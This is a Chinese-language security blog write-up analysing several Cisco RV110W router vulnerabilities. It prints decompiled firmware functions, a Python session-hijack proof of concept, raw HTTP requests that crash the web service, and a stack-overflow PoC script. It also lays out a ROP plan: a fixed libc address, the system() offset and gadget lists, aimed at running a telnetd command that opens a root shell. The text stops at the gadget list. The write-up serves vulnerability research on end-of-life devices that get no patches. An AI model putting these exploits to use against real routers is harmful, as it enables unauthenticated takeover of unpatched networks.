Cisco RV110W 数个漏洞

Catalpa 网络安全爱好者

该系列设备已经进入 EOL (End Of Life) 阶段,官方不会针对漏洞发布安全更新。

建议用户及时下线并替换该系列设备。

CVE-2020-3144

基本信息

Cisco 官方发布信息: https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-rv-auth-bypass-cGv9EruZ

漏洞评分:9.8(Critical)

漏洞描述:此漏洞位于 web 管理界面中,影响 Cisco RV110W,RV130 以及 RV215W 等设备。由于对 session 的管理存在问题,攻击者可以构造特殊格式的 HTTP 请求触发漏洞,成功的攻击可以使攻击者获取设备的管理员权限。

漏洞分析

此漏洞在 1.2.2.8 版本中进行了修复。

固件下载链接(请下载 1.2.2.8 以下版本):https://software.cisco.com/download/home/283879340/type/282487380/release/1.2.2.8?catid=268437899

binwalk 可以顺利的解压固件,得到一个标准的嵌入式 Linux 文件系统。

漏洞在处理 http 请求的文件中,文件路径:/usr/sbin/httpd。它是一个 MIPS32 小端序的二进制文件,直接使用 Ghidra 打开。

关键函数位于 log_in_cgi 中,此函数主要实现用户登录的逻辑,函数代码稍长,关键部分如下

1
2
3
4
5
6
7
8
9
10
enc = strcmp(__s1_00,"continue");
if (enc == 0) {
nvram_unset("tmp_auth_key");
user = (undefined *)nvram_get("session_key");
if (user == (undefined *)0x0) {
user = &DAT_00487eb0;
}
set_key_status(user,"drop");
set_login_info(param_1,local_30);
return 0;

__s1_00 变量由 get_cgi 函数返回

1
method = (char *)get_cgi("submit_type");

经过抓包发现 get_cgi 函数用于获取用户发送请求中的字段,submit_type 是用户提交请求的类型,登录的时候主要有两种类型,一是 set_lang,用于设置语言,二是 continue,这是我们需要关注的请求。

那么 continue 是什么功能呢?如果有设备的话就很好验证了,打开 web 管理界面如下

此时可以正常登录管理员账户(默认用户名密码为 cisco:cisco),成功登录后如果没有主动登出,只是简单的关闭了网页,后台的管理员账户是不会自动登出的,此时再发起一个新的登录请求,会看到如下界面

开启抓包,点击 continue,得到请求如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
POST /login.cgi HTTP/1.1
Host: 192.168.1.1
Connection: close
Content-Length: 129
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: https://192.168.1.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://192.168.1.1/login.cgi
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9

submit_button=login&submit_type=continue&gui_action=gozila_cgi&next_page=&wait_time=0&change_action=&enc=1&user=&pwd=&sel_lang=EN

此时 submit_type 就是 continue,根据代码来看,当用户发送了 continue 请求的时候,并且当前 nvram 中的 session_key 字段不为空,就直接设置登录信息,不验证用户名和密码,并且这个请求不需要身份验证。

所以如果我们能在真正的管理员发起登录请求和 continue 请求之间发送 continue 请求,就可以截获管理员的 session_id,从而获取后台管理权限。

此漏洞的 POC 如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# Code from https://quentinkaiser.be/exploitdev/2020/07/14/breaking-cisco-rv-again/
#!/usr/bin/env python
import requests
from time import sleep
import re
payload = {
"submit_button":"login",
"submit_type":"continue",
"gui_action":"gozila_cgi",
}
while True:
try:
resp = requests.post(
"https://192.168.1.1/login.cgi",
data=payload,
verify=False
)
if "Login Page" in resp.content:
sleep(1)
else:
sessionid = re.findall(r"session_id=([^\"]+)", resp.content)[0]
print("[+] Successfully hijacked admin session. Session id is
{}".format(sessionid))
break
except KeyboardInterrupt as e:
break

注:session_id 和登录者的 IP 具有对应关系,例如管理员从 ip 为 192.168.1.100 的机器上登录了路由器后台,攻击者从 ip 为 192.168.1.101 的机器上进行 session_id 劫持得到 session_id,但由于 ip 的绑定关系,他并不能直接从本机登录。

CVE-2020-3145 & CVE-2020-3146 & CVE-xxxx-xxxx

基本信息

CVE-2020-3145 & CVE-2020-3146 两个漏洞官方信息: https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-rv-rce-m4FEEGWX

由于这些漏洞都位于后台,实际利用价值不大,所以我们以一个为例分析。

3145 和 3146 两个漏洞的分析可以在这里找到(感谢作者),我们要分析的是一个此前没有被披露的漏洞,并且在最新版中也存在(1.2.2.8)。

漏洞分析

这些后台漏洞成因基本相同,都是对用户提交的数据验证不严格导致的。我们分析的漏洞位于函数 save_http_user (1.2.2.8),Ghidra 可以直接进行反编译,结果如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73

undefined4 save_http_user(undefined4 param_1)

{
int iVar1;
undefined4 uVar2;
undefined4 uVar3;
char *__s;
undefined4 *__s1;
undefined4 *__s1_00;
undefined1 *puVar4;
int iVar5;
undefined local_c8;
undefined auStack199 [49];
undefined auStack150 [50];
undefined auStack100 [52];
undefined4 local_30;
undefined4 local_2c;

__s1_00 = (undefined4 *)get_cgi("enadmin");
if (__s1_00 == (undefined4 *)0x0) {
__s1_00 = &DAT_0047c3f8;
}
__s1 = (undefined4 *)get_cgi("enguest");
if (__s1 == (undefined4 *)0x0) {
__s1 = &DAT_0047c3f8;
}
memset(&local_c8,0,0x96);
local_c8 = 0;
memset(auStack199,0,0x31);
puVar4 = (undefined1 *)get_cgi("en_guest");
if (puVar4 == (undefined1 *)0x0) {
puVar4 = &DAT_00486160;
}
iVar1 = strcmp((char *)__s1_00,"on");
iVar5 = 0;
if (iVar1 == 0) {
local_2c = get_cgi("admin_name");
uVar2 = get_cgi("admin_old_pwd");
uVar3 = get_cgi("admin_new_pwd");
__s = (char *)nvram_get("http_user0");
if (__s == (char *)0x0) {
__s = "";
}
sscanf(__s,"%[^,],%[^,],%[^\n]",&local_c8,auStack150,auStack100);
iVar5 = setpwd(0,local_2c,auStack150,uVar2,uVar3,&local_c8);
}
iVar1 = strcmp((char *)__s1,"on");
if (iVar1 == 0) {
guest_name = get_cgi("guest_name");
uVar2 = get_cgi("guest_old_pwd");
uVar3 = get_cgi("guest_new_pwd");
__s = (char *)nvram_get("http_user1");
if (__s == (char *)0x0) {
__s = "";
}
sscanf(__s,"%[^,],%[^,],%[^\n]",&local_c8,auStack150,auStack100);
iVar1 = setpwd(1,guest_name,auStack150,uVar2,uVar3,&local_c8);
iVar5 = iVar5 + iVar1;
}
if (iVar5 == 0) {
iVar1 = strcmp((char *)__s1_00,"on");
if (iVar1 == 0) {
logout(param_1);
}
nvram_set("en_guest",puVar4);
}
else {
nvram_set("en_guest",puVar4);
error_value = 0xffffffff;
}
return error_value;
}

这个功能是用于开启路由器的访客账户,开启之后访客也可以登录路由器进行一定的管理,有利于管理角色的分割。

第 56 行之前的代码多次使用 get_cgi 函数获取用户提交请求中的数据,第 58 行调用了 setpwd 函数设置访客用户的密码,其中第二个参数是 guest_name,即用户提交的访客用户名。

setpwd 函数的代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57

uint setpwd(undefined4 param_1,undefined4 guest_name,char *param_3,char *param_4,undefined4param_5,
undefined4 param_6)

{
int iVar1;
undefined4 local_128;
undefined4 local_124;
undefined4 local_120;
undefined4 local_11c;
undefined4 local_118;
undefined4 local_114;
undefined4 local_110;
undefined4 local_10c;
undefined4 local_108;
undefined4 local_104;
undefined4 local_100;
undefined4 local_fc;
undefined4 local_f8;
undefined4 local_f4;
undefined4 local_f0;
undefined2 local_ec;
char acStack234 [202];

local_11c = 0;
local_118 = 0;
local_114 = 0;
local_110 = 0;
local_10c = 0;
local_108 = 0;
local_104 = 0;
local_100 = 0;
local_fc = 0;
local_f8 = 0;
local_f4 = 0;
local_f0 = 0;
local_ec = 0;
memset(acStack234,0,200);
local_120 = 0x585872;
local_128 = 0x70747468;
local_124 = 0x6573755f;
snprintf((char *)&local_128,0xc,"http_user%d",param_1);
iVar1 = strncmp(param_3,"enc=",4);
if (iVar1 == 0) {
sscanf(param_3,"enc=%s",&local_11c);
iVar1 = strcmp(param_4,(char *)&local_11c);
}
else {
md5_encode(param_3,&local_11c);
iVar1 = strcmp(param_4,(char *)&local_11c);
}
if (iVar1 == 0) {
sprintf(acStack234,"%s,enc=%s,%s",param_6,param_5,guest_name);
nvram_set(&local_128,acStack234);
}
return (uint)(iVar1 != 0);
}

可以很明显的看到第 53 行使用 sprintf 函数将外部传入的参数拷贝到栈变量,其中最后一个参数就是我们关注的 guest_name 变量。(第五和第六个参数也可以导致溢出,不过选择最后一个参数可以减少干扰)

如果传入一个超长的字符串,则可以触发栈溢出,结合 ROP 等技术可以实现任意代码执行。(攻击分析见下文)

另外,在函数 validate_guest_vlan 中也存在类似的问题,不过这些漏洞都属于后台漏洞,实际攻击中价值不是很大。

CVE-2020-3323

基本信息

官方发布信息: https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-rv-rce-m4FEEGWX

漏洞评分:9.8(Critical)

漏洞描述:此漏洞位于 web 管理界面中,影响 Cisco RV110W,RV130 以及 RV215W 等设备。未经授权的攻击者可以通过构造特殊格式的 HTTP 请求,触发此漏洞,从而导致未授权的任意代码执行。

漏洞分析

此漏洞在 1.2.2.8 版本中进行了修复。

2020 年强网杯的 IoT 项目攻击目标之一就是 RV110W,现场应该有队伍利用了这个 nDay 完成了攻击。

此漏洞位于函数 guest_logout_cgi 中,Ghidra 反编译结果如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140

undefined4 guest_logout_cgi(undefined4 param_1)

{
char cVar1;
bool bVar2;
int cmac2;
char *cmac;
size_t cmac_len;
FILE *__stream;
char *__s1;
char *cmac_end;
char *maybe_vuln;
char *local_c0;
undefined1 *local_bc;
char *local_b8;
char *local_b4;
undefined4 local_b0;
char acStack172 [64];
char acStack108 [68];

cmac2 = get_cgi("cmac");
cmac = (char *)get_cgi("cmac");
cmac_len = strlen(cmac);
cmac_end = (char *)(cmac2 + cmac_len + -1);
cmac = (char *)get_cgi("cmac");
if (cmac < cmac_end) {
do {
cVar1 = *cmac_end;
if (((cVar1 != '\n') && (cVar1 != '\r')) && (cVar1 != ' ')) break;
*cmac_end = '\0';
cmac_end = cmac_end + -1;
cmac = (char *)get_cgi("cmac");
} while (cmac < cmac_end);
}
cmac = (char *)get_cgi("cmac");
cmac2 = get_cgi("cip");
cmac_end = (char *)get_cgi("cip");
cmac_len = strlen(cmac_end);
maybe_vuln = (char *)(cmac2 + cmac_len + -1);
cmac_end = (char *)get_cgi("cip");
if (cmac_end < maybe_vuln) {
do {
cVar1 = *maybe_vuln;
if (((cVar1 != '\n') && (cVar1 != '\r')) && (cVar1 != ' ')) break;
*maybe_vuln = '\0';
maybe_vuln = maybe_vuln + -1;
cmac_end = (char *)get_cgi("cip");
} while (cmac_end < maybe_vuln);
}
cmac_end = (char *)get_cgi("cip");
maybe_vuln = (char *)get_cgi("submit_button");
if (maybe_vuln == (char *)0x0) {
maybe_vuln = "";
}
if (cmac == (char *)0x0) {
return 0;
}
if (cmac_end == (char *)0x0) {
return 0;
}
memset(acStack108,0,0x40);
memset(acStack172,0,0x40);
__stream = fopen("/dev/console","w");
if (__stream != (FILE *)0x0) {
fprintf(__stream,"\n mac=[%s], ip=[%s], submit_button=[%s]\n",cmac,cmac_end,maybe_vuln);
fclose(__stream);
}
cmac2 = VERIFY_MAC_17(cmac);
if ((cmac2 == 0) || (cmac2 = VERIFY_IPv4(cmac_end), cmac2 == 0)) {
__stream = fopen("/dev/console","w");
if (__stream == (FILE *)0x0) {
return 0;
}
fprintf(__stream,"\n%s(%d) Drop session,VALID_FAIL, mac=[%s], ip=[%s],submit_button=[%s]\n",
"guest_logout_cgi",0x1542,cmac,cmac_end,maybe_vuln);
fclose(__stream);
return 0;
}
__s1 = strstr(maybe_vuln,"status_guestnet.asp");
if (__s1 == (char *)0x0) {
LAB_00431d24:
__s1 = (char *)nvram_get("http_client_mac");
if (((__s1 == (char *)0x0) || (cmac2 = strcmp(__s1,cmac), cmac2 == 0)) &&
((__s1 = (char *)nvram_get("http_client_ip"), __s1 == (char *)0x0 ||
(cmac2 = strcmp(__s1,cmac_end), cmac2 == 0)))) {
bVar2 = false;
goto LAB_00431c68;
}
__stream = fopen("/dev/console","w");
if (__stream != (FILE *)0x0) {
fprintf(__stream,
"\n%s(%d) Drop session, ip and mac invmatch,mac=[%s], ip=[%s],submit_button=[%s]\n",
"guest_logout_cgi",0x1551,cmac,cmac_end,maybe_vuln);
fclose(__stream);
}
}
else {
sscanf(maybe_vuln,"%[^;];%*[^=]=%[^\n]",acStack108,acStack172);
__stream = fopen("/dev/console","w");
if (__stream != (FILE *)0x0) {
fprintf(__stream,"\n%s(%d),submit_button = [%s] url=[%s], session_id=[%s]\n",
"guest_logout_cgi",0x1549,maybe_vuln,acStack108,acStack172);
fclose(__stream);
}
__s1 = (char *)nvram_get("session_key");
if (__s1 == (char *)0x0) goto LAB_00431d24;
cmac2 = strcmp(__s1,acStack172);
bVar2 = true;
if (cmac2 != 0) goto LAB_00431d24;
LAB_00431c68:
syslog(6,"The mac is %s and IP is %s of guest network user logout.",cmac,cmac_end);
if ((debug != 0) && (__stream = fopen("/dev/console","w"), __stream != (FILE *)0x0)) {
fprintf(__stream,"%s(): \n mac=[%s], ip=[%s],submit_button=[%s]\n","guest_logout_cgi",cmac,
cmac_end,maybe_vuln);
fclose(__stream);
}
local_c0 = "/sbin/cron_gn";
local_bc = &DAT_00485fe4;
local_b0 = 0;
local_b8 = cmac;
local_b4 = cmac_end;
_eval(&local_c0,">/dev/console",0,0);
if ((bVar2) && (cmac2 = strcmp(acStack108,"status_guestnet.asp"), cmac2 == 0))
goto LAB_00431de8;
}
cmac2 = strcmp(maybe_vuln,"login_guest.asp");
if (cmac2 != 0) {
return 0;
}
LAB_00431de8:
cmac_len = strlen(acStack108);
if (cmac_len < 6) {
do_ej(maybe_vuln,param_1);
}
else {
do_ej(acStack108,param_1);
}
return 0;
}

第 52 行使用 get_cgi 函数获取 submit_button 字段的内容,第 80 行使用 strstr 判断其中是否存在字符串 “status_guestnet.asp”,如果存在,则执行第 99 行的代码,使用 sscanf 将数据拷贝到两个栈变量中。

很明显这里存在栈溢出漏洞,如果用户构造一个包含 “status_guestnet.asp” 的超长字符串,就可以触发栈溢出漏洞,进而结合 ROP 等技术实现任意代码执行。(攻击分析见下文)

经过测试,这个函数对应的后台接口是 guest_logout.cgi,并且不需要身份验证,所以我们可以构造下面的数据包触发此漏洞。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
POST /guest_logout.cgi HTTP/1.1
Host: 192.168.1.1
Connection: close
Content-Length: 160
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: https://192.168.1.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: iframe
Referer: https://192.168.1.1/config_user.asp;session_id=8ba902bb5765a3645d189cccb60f2259
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9

cmac=00:01:02:03:04:05&cip=192.168.1.1&submit_button=status_guestnet.aspaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

注:在第 38 行尝试获取 cip 字段的内容,如果我们不提供这个字段,将返回 0,经验证会在 strlen 函数中导致空指针解引用,可以使 httpd 服务崩溃。

CVE-2021-34730

基本信息

官方发布信息: Cisco Small Business RV110W, RV130, RV130W, and RV215W Routers Remote Command Execution and Denial of Service Vulnerability

漏洞评分:9.8(Critical)

漏洞描述:A vulnerability in the Universal Plug-and-Play (UPnP) service of Cisco Small Business RV110W, RV130, RV130W, and RV215W Routers could allow an unauthenticated, remote attacker to execute arbitrary code or cause an affected device to restart unexpectedly, resulting in a denial of service (DoS) condition.。

漏洞分析

此漏洞存在于解析 SSDP 协议的过程,位于函数 m_search_handler,代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
undefined4 m_search_handler(int upnp_context)

{
int iVar1;
size_t __n;
undefined4 uVar2;
char *__s;
char *pcVar3;
char *maybe_vuln;
char **ppcVar4;
int *piVar5;
char acStack168 [128];

ssdp_get_cur_ifp();
if (*(char **)(upnp_context + 0x39a0) != (char *)0x0) {
iVar1 = strcmp(*(char **)(upnp_context + 0x39a0),"239.255.255.250:1900");
if (iVar1 != 0) {
return 0xffffffff;
}
if (*(char **)(upnp_context + 0x39a4) != (char *)0x0) {
iVar1 = strcmp(*(char **)(upnp_context + 0x39a4),"\"ssdp:discover\"");
if (iVar1 != 0) {
return 0xffffffff;
}
if (*(char **)(upnp_context + 0x39ac) != (char *)0x0) {
iVar1 = atoi(*(char **)(upnp_context + 0x39ac));
if (iVar1 < 1) {
return 0xffffffff;
}
maybe_vuln = *(char **)(upnp_context + 0x39a8);
if (maybe_vuln == (char *)0x0) {
return 0xffffffff;
}
iVar1 = strcmp(maybe_vuln,"ssdp:all");
uVar2 = 1;
if (iVar1 != 0) {
iVar1 = strcmp(maybe_vuln,"upnp:rootdevice");
uVar2 = 2;
if (iVar1 != 0) {
iVar1 = memcmp(maybe_vuln,"uuid:",5);
if (iVar1 != 0) {
piVar5 = *(int **)(*(int *)(upnp_context + 0x50) + 0x2c);
do {
if (piVar5 == (int *)0x0) {
return 0xffffffff;
}
ppcVar4 = *(char ***)(piVar5[2] + 0xc);
while (__s = *ppcVar4, __s != (char *)0x0) {
__n = strlen(__s);
pcVar3 = ppcVar4[0xb];
ppcVar4 = ppcVar4 + 0xc;
if (pcVar3 != (char *)0x2) {
iVar1 = memcmp(maybe_vuln,__s,__n);
if (iVar1 == 0) {
iVar1 = memcmp(maybe_vuln + __n,":1",2);
if (iVar1 != 0) {
return 0xffffffff;
}
if (pcVar3 == (char *)0x1) {
strncpy(acStack168,maybe_vuln,__n);
uVar2 = 4;
acStack168[__n] = '\0';
goto LAB_00405c94;
}
if ((pcVar3 == (char *)0x0) || (pcVar3 == (char *)0x3)) {
strncpy(acStack168,maybe_vuln,__n);
uVar2 = 5;
acStack168[__n] = '\0';
goto LAB_00405c94;
}
}
}
}
piVar5 = (int *)*piVar5;
} while( true );
}
/* 溢出 */
strcpy(acStack168,maybe_vuln + 5);
uVar2 = 3;
}
}
LAB_00405c94:
ssdp_msearch_response(upnp_context,acStack168,uVar2);
return 0;
}
}
}
return 0xffffffff;
}

第 30 行代码从 upnp_context 结构体中获取了某个数据,通过对下面流程的分析可以确定这里获取的是 ST 字段,第 78 行代码引用了 strcpy 函数将内容直接拷贝到栈变量中,如果攻击者传入一个超长的字符串,将导致栈溢出。(攻击分析见下文)

漏洞利用分析

在具体分析之前,先设置好分析环境,拆开路由器之后在右上角可以找到 UART 串口,并且标记了接口名称,只需要焊接好排针就可以使用了。

接入 FT232 之后在电脑打开串口软件,设备启动完毕按回车拿到 shell

先上传一个 gdbserver 方便后续调试,设备默认带了 wget 命令,我们可以在本机开启一个 Server 放入 gdbserver,然后用 wget 下载到路由器。

gdbserver 下载链接:链接:https://pan.baidu.com/s/1e6-lxtzI0aXNe0aGfiWRCg 提取码:yyln

wget 命令

1
wget http://192.168.1.101:8000/gdbserver.mipsle

CVE-2020-3323

经过上面的环境配置,我们现在可以对 httpd 服务进行调试,先在路由器上面找到 httpd 进程 pid

1
ps | grep http

这里会返回两个结果

1
2
3
# ps | grep http
348 admin 6284 S httpd
356 admin 6344 S httpd -S

其中 httpd -S 是我们的调试目标。启动 gdbserver 进行附加

1
./gdbserver.mipsle 192.168.1.1:12345 --attach 356

成功附加之后在本机启动 gdb-multiarch,执行下面的命令

1
2
3
set sysroot ./
file ./usr/sbin/httpd
target remote 192.168.1.1:12345

成功启动调试环境,可以先编写一个 POC 脚本,方便后续操作,之前分析了漏洞成因,可编写出下面的 POC 脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests
import argparse

parser = argparse.ArgumentParser()
parser.add_argument('-ip', help='target ip')
args = parser.parse_args()

if args.ip:
payload = "status_guestnet.asp" +"a" * 0x100
burp0_url = "https://" + args.ip + ":443/guest_logout.cgi"
burp0_headers = {"Connection": "close",
"Content-Type": "application/x-www-form-urlencoded"}
burp0_data = {"cmac": "00:01:02:03:04:05",
"cip": "192.168.1.1",
"submit_button": payload}
try:
requests.post(burp0_url, headers=burp0_headers, data=burp0_data, verify=False, timeout=5)
except:
print("[+] Exploit Success!")

使用方法:python poc.py -ip 192.168.1.1

发送 payload 之后 gdb 中看到崩溃结果

成功控制 PC,接下来就尝试利用漏洞。

关于 MIPS 架构的漏洞利用文章网络上有很多,这里就不详细介绍了,由于整个系统没有开启 aslr,libc 地址固定,所以我们的思路就是构造 ROP 直接执行 system 函数,参数中插入开启 telnetd 的命令。

首先用 vmmap 命令获取设备的 libc 地址:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x400000 0x491000 r-xp 91000 0 /usr/sbin/httpd
0x4d0000 0x4d8000 rw-p 8000 90000 /usr/sbin/httpd
0x4d8000 0x50e000 rwxp 36000 4d8000 [heap]
0x2aaa8000 0x2aaad000 r-xp 5000 0 /lib/ld-uClibc.so.0
0x2aaad000 0x2aaae000 rw-p 1000 2aaad000
0x2aaae000 0x2aabe000 r--p 10000 0 /dev/nvram
0x2aaec000 0x2aaed000 r--p 1000 4000 /lib/ld-uClibc.so.0
0x2aaed000 0x2aaee000 rw-p 1000 5000 /lib/ld-uClibc.so.0
0x2aaee000 0x2aaf2000 r-xp 4000 0 /usr/lib/libnvram.so
0x2aaf2000 0x2ab32000 ---p 40000 2aaf2000
0x2ab32000 0x2ab33000 rw-p 1000 4000 /usr/lib/libnvram.so
0x2ab33000 0x2ab75000 r-xp 42000 0 /usr/lib/libshared.so
0x2ab75000 0x2abb5000 ---p 40000 2ab75000
0x2abb5000 0x2abb9000 rw-p 4000 42000 /usr/lib/libshared.so
0x2abb9000 0x2abbd000 rw-p 4000 2abb9000
0x2abbd000 0x2abcc000 r-xp f000 0 /usr/lib/libcbt.so
0x2abcc000 0x2ac0b000 ---p 3f000 2abcc000
0x2ac0b000 0x2ac0c000 rw-p 1000 e000 /usr/lib/libcbt.so
0x2ac0c000 0x2ac0e000 r-xp 2000 0 /lib/libdl.so.0
0x2ac0e000 0x2ac4d000 ---p 3f000 2ac0e000
0x2ac4d000 0x2ac4e000 r--p 1000 1000 /lib/libdl.so.0
0x2ac4e000 0x2ac4f000 rw-p 1000 2000 /lib/libdl.so.0
0x2ac4f000 0x2ae3c000 r-xp 1ed000 0 /usr/lib/libcrypto.so
0x2ae3c000 0x2ae7c000 ---p 40000 2ae3c000
0x2ae7c000 0x2ae94000 rw-p 18000 1ed000 /usr/lib/libcrypto.so
0x2ae94000 0x2ae98000 rw-p 4000 2ae94000
0x2ae98000 0x2af02000 r-xp 6a000 0 /usr/lib/libssl.so
0x2af02000 0x2af42000 ---p 40000 2af02000
0x2af42000 0x2af48000 rw-p 6000 6a000 /usr/lib/libssl.so
0x2af48000 0x2af58000 r-xp 10000 0 /lib/libgcc_s.so.1
0x2af58000 0x2af97000 ---p 3f000 2af58000
0x2af97000 0x2af98000 rw-p 1000 f000 /lib/libgcc_s.so.1
0x2af98000 0x2afef000 r-xp 57000 0 /lib/libc.so.0
0x2afef000 0x2b02f000 ---p 40000 2afef000
0x2b02f000 0x2b030000 r--p 1000 57000 /lib/libc.so.0
0x2b030000 0x2b031000 rw-p 1000 58000 /lib/libc.so.0
0x2b031000 0x2b036000 rw-p 5000 2b031000
0x7f94b000 0x7f960000 rwxp 15000 7f94b000 [stack]

可以看到 libc 加载到 0x2af98000 这个地址,并且每次重启都不会改变。

ROP 思路是调用 system(“utelnetd -d -l /bin/sh -p 1337 &”),有了 libc 地址接下来需要寻找 system 函数的地址,目标 libc 文件位于 /lib/libc.so.0,将它加载到 IDA 可以找到 system 函数的偏移量为 0x0004C7E0。

找到 system 函数地址,还需要解决参数的问题,MIPS 中函数的前几个参数由 a0、a1 等寄存器进行传递,而由于可控的内存只在栈上,所以肯定要想办法把栈地址加载到这些寄存器中。

由于 MIPS 架构的特性,确实存在这类指令可以用于 ROP,在 mips rop finder 中使用 mipsrop.stackfinder() 就可以找到。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
Python>mipsrop.stackfinder()
----------------------------------------------------------------------------------------------------------------
| Address | Action | Control Jump |
----------------------------------------------------------------------------------------------------------------
| 0x0000BA84 | addiu $a1,$sp,0x168+var_B0 | jalr $s0 |
| 0x00011918 | addiu $a2,$sp,0x88+var_60 | jalr $s1 |
| 0x000250A8 | addiu $s0,$sp,0x2A0+var_278 | jalr $fp |
| 0x000257A0 | addiu $a0,$sp,0x58+var_40 | jalr $s0 |
| 0x00025CAC | addiu $a0,$sp,0x60+var_48 | jalr $s3 |
| 0x0002747C | addiu $a0,$sp,0x60+var_48 | jalr $s3 |
| 0x0002CC00 | addiu $a0,$sp,0x48+var_20 | jalr $s0 |
| 0x0002CC08 | addiu $a0,$sp,0x48+var_20 | jalr $s1 |
| 0x00035DF4 | addiu $a1,$sp,0x40+var_28 | jalr $s1 |
| 0x0003D050 | addiu $a0,$sp,0x38+var_20 | jalr $a0 |
| 0x000427A8 | addiu $s0,$sp,0xE0+var_C0 | jalr $s6 |
| 0x00042E04 | addiu $v1,$sp,0x118+var_F8 | jalr $s1 |
| 0x0000D45C | addiu $a0,$sp,0xA0+var_88 | jr 0xA0+var_4($sp) |
| 0x0000ED70 | addiu $a1,$sp,0x28+var_10 | jr 0x28+var_8($sp) |
| 0x0001D5FC | addiu $a3,$sp,0x30+var_10 | jr 0x30+var_8($sp) |
| 0x00020100 | addiu $a0,$sp,0x30+var_18 | jr 0x30+var_8($sp) |
| 0x0002C060 | addiu $a0,$sp,0x80+var_68 | jr 0x80+var_4($sp) |
| 0x0002F800 | addiu $a1,$sp,0x58+var_40 | jr 0x58+var_8($sp) |
| 0x00030434 | addiu $a0,$sp,0x48+var_30 | jr 0x48+var_8($sp) |
| 0x00039948 | addiu $a1,$sp,0x50+var_38 | jr 0x50+var_8($sp) |
| 0x000399A0 | addiu $a1,$sp,0x50+var_38 | jr 0x50+var_8($sp) |
| 0x000399F8 | addiu $a1,$sp,0x50+var_38 | jr 0x50+var_8($sp) |
| 0x00039A50 | addiu $a1,$sp,0x50+var_38 | jr 0x50+var_8($sp) |
| 0x00039A90 | addiu $a1,$sp,0x50+var_38 | jr 0x50+var_8($sp) |
| 0x00039AFC | addiu $a1,$sp,0x50+var_38 | jr 0x50+var_8($sp) |
| 0x00039B5C | addiu $a1,$sp,0x50+var_38 | jr 0x50+var_8($sp) |
| 0x0003A844 | addiu $a0,$sp,0x50+var_38 | jr 0x50+var_4($sp) |
| 0x0003D05C | addiu $a0,$sp,0x38+var_20 | jr 0x38+var_8($sp) |
| 0x0004BAA8 | addiu $a1,$sp,0x3048+var_1030 | jr 0x3048+var_4($sp) |
| 0x0004D314 | addiu $a2,$sp,0x28+var_10 | jr 0x28+var_8($sp) |
| 0x0004D484 | addiu $a2,$sp,0x28+var_10 | jr 0x28+var_8($sp) |
| 0x0004D8E4 | addiu $a2,$sp,0x28+var_10 | jr 0x28+var_8($sp) |
----------------------------------------------------------------------------------------------------------------
Found 32 matching gadgets

